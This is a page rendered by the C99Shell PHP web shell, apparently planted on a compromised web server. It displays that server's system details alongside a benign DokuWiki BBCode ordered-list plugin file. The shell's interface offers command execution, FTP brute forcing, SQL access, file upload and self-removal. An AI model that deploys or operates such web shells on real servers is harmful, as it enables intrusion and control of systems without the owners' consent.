!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/doku/axrepos/axess/old/wiki/lib/plugins/bbcode/syntax/   drwxrwxr-x
Free 11.47 GB of 97.11 GB (11.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     olist.php (3.5 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * BBCode plugin: allows BBCode markup familiar from forum software
 * 
 * @license    GPL 2 (http://www.gnu.org/licenses/gpl.html)
 * @author     Esther Brunner <esther@kaffeehaus.ch>
 */
 
if(!defined('DOKU_INC')) define('DOKU_INC',realpath(dirname(__FILE__).'/../../').'/');
if(!
defined('DOKU_PLUGIN')) define('DOKU_PLUGIN',DOKU_INC.'lib/plugins/');
require_once(
DOKU_PLUGIN.'syntax.php');
 
/**
 * All DokuWiki plugins to extend the parser/rendering mechanism
 * need to inherit from this class
 */
class syntax_plugin_bbcode_olist extends DokuWiki_Syntax_Plugin {
 
    
/**
     * return some info
     */
    
function getInfo(){
        return array(
            
'author' => 'Gina Häußge, Michael Klier, Esther Brunner',
            
'email'  => 'dokuwiki@chimeric.de',
            
'date'   => '2008-02-11',
            
'name'   => 'BBCode Ordered List Plugin',
            
'desc'   => 'allows BBCode markup: [list=*][*]item[*]item[/list]',
            
'url'    => 'http://wiki.splitbrain.org/plugin:bbcode',
        );
    }
 
    function 
getType(){
        return 
'container';
    }
    
    function 
getPType(){
        return 
'block';
    }
    
    function 
getAllowedTypes() {
        return array(
'formatting''substition''disabled''protected');
    }
    
    function 
getSort(){
        return 
105;
    }
    
    function 
connectTo($mode) {
        
$this->Lexer->addEntryPattern('\[list=.*?\]\s*?\[\*\](?=.*?\x5B/list\x5D)'$mode'plugin_bbcode_olist');
    }
    
    function 
postConnect() {
        
$this->Lexer->addExitPattern('\[/list\]''plugin_bbcode_olist');
    }
 
 
    
/**
     * Handle the match
     */
    
function handle($match$state$pos, &$handler){        
        switch (
$state) {
          case 
DOKU_LEXER_ENTER :
            
// get the list type
            
$match substr($match6, -4);
            
$match preg_split('/\]/u',$match,2);
            return array(
$state$match[0]);
             
          case 
DOKU_LEXER_UNMATCHED :
            return array(
$state$match);
            
          case 
DOKU_LEXER_EXIT :
            return array(
$state'');
            
        }
        return array();
    }
 
    
/**
     * Create output
     */
    
function render($mode, &$renderer$data) {
        if(
$mode == 'xhtml'){
            list(
$state$match) = $data;
            switch (
$state) {
              case 
DOKU_LEXER_ENTER :
                switch (
$match) {
                  case 
'i':
                    
$type 'lower-roman';
                    break;
                  case 
'I':
                    
$type 'upper-roman';
                    break;
                  case 
'a':
                    
$type 'lower-alpha';
                    break;
                  case 
'A':
                    
$type 'upper-alpha';
                    break;
                  default:
                    
$type 'decimal';
                }
                
$renderer->doc .= '<ol style="list-style-type:'.$type.'"><li class="level1"><div class="li">';
                break;
                                
              case 
DOKU_LEXER_UNMATCHED :
                
$match $renderer->_xmlEntities($match);
                
$renderer->doc .= str_replace('[*]''</div></li><li class="level1"><div class="li">'$match);
                break;
                
              case 
DOKU_LEXER_EXIT :
                
$renderer->doc .= '</div></li></ol>';
                break;
                
            }
            return 
true;
        }
        return 
false;
    }
    
}
 
//Setup VIM: ex: et ts=4 enc=utf-8 :

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0152 ]--